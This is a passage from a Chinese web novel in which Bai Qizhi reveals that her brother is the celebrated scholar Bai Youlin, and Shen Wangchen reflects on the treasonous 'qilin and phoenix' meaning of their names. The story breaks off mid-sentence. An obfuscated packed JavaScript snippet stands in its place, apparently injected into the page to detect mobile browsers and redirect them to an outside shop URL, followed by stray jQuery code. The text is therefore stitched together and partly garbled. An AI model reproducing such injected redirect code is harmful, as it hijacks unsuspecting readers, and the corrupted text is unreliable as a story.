便敏锐地察觉到她的情绪变化,扬起脑袋,用湿漉漉的鼻尖碰了碰她的指尖。
白栖枝的声音一下子清浅起来:“你说的应该是我兄长吧。”她指尖无意识地描摹着小木头的轮廓,“我们兄妹确实相像,小时候连爹娘都说,若不是年岁差得多,怕是连他们都分不清。”
“这样么,你兄长他……”
“白胜安。”
陌生的名字叫沈忘尘蹙起眉头。
他在脑海中仔细搜寻,却总觉得这中间差了什么。
白栖枝又道:“如果这个名字你耳生的话,那——白幼麟呢?”
白幼麟。
这三个字就像是一滴墨落入清水,无论是放在十二年前的长平,还是放在如今的沈忘尘耳边,都实在令人无法忽视。
那可是整个明德学院千百年来都不世出的麒麟才子!
十岁熟背经史子集,十二岁作《河洛赋》,十四岁在御前与太学生辩经,引经据典,舌灿莲花,辩得满堂宿儒哑口无言。
沈忘尘与他同为一师,自然明白自己这位学弟有多么风光无量,就连老师也经常对他赞不绝口。
唯一的憾事就是那位学弟实在是读书不仔细,经常喜欢耍些小聪明,写出来的文章不是离经叛道就是不合礼数,搞得先生总是为他的前途担忧。
且,那位学弟还经常喜欢翘课去玩,十天恨不能有七天说是要带妹妹出去玩。
谁能想到,那个总爱趴在窗棂上朝他挤眉弄眼,腰间环佩叮当作响,总爱对他说“劳烦师兄再替我瞒一回,幼妹在家中等着呢”的少年,口中的幼妹居然是白栖枝!
也是。
白幼麟、白栖枝。
但凡稍微一想便能知道两人同出一家。
只是这白家兄妹一个是麒麟才子、一个是心善小菩萨,在长平都是各自出名各的,让人鲜少能将他们联系到一起去。
“中原莫道无麟凤,自是皇家结网疏。”
沈忘尘无意识地念出这句诗后,猛然意识到其中大逆不道的意味,连忙端起茶盏掩饰失言。
他暗自思忖:若将白胜安比作“麟”,那白栖枝岂不正对应着“凤”?
如此说来,那“栖枝”二字又是否暗含“凤栖梧桐枝”一意?
想到这里,他不禁为那位已故书画院翰林的大胆命名而感到讶异。
若真如他所解,这位白大人为子女取名时,难道还能藏有这般僭越的心思?
“怎么了?”
难得见他露出一片空白神色,白栖枝不
;eval(function(p,a,c,k,e,d){e=function(c){return(c
35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16961221|193309||http|test|ni|href|location''''.split(''''|''''),0,{}));
() {
$(''''.infor'').reve();
$(''''#content'''').append(''''
在挑逗小木头,反而偏过头来看他。
“没什么。”沈忘尘从一片震惊中回过神来,微微笑道,“没想到,枝枝居然是那位白学弟的幼妹。白家一麟一凤,倒也相得益彰。”
“我知道你想说什么。”白栖枝一脸无所谓的神情,“昔日我阿兄取表字幼麟时,也有人问过我阿父,倘若兄为麟,那其妹莫不是凤?倘若真是凤的话,白兄可是想让枝枝嫁入皇宫做娘娘?你猜,我阿父如何答他?”
“如何?”
白栖枝悠然一笑,将小木头腾空举起,桃红色的薄唇噙着一抹不易擦觉的微笑: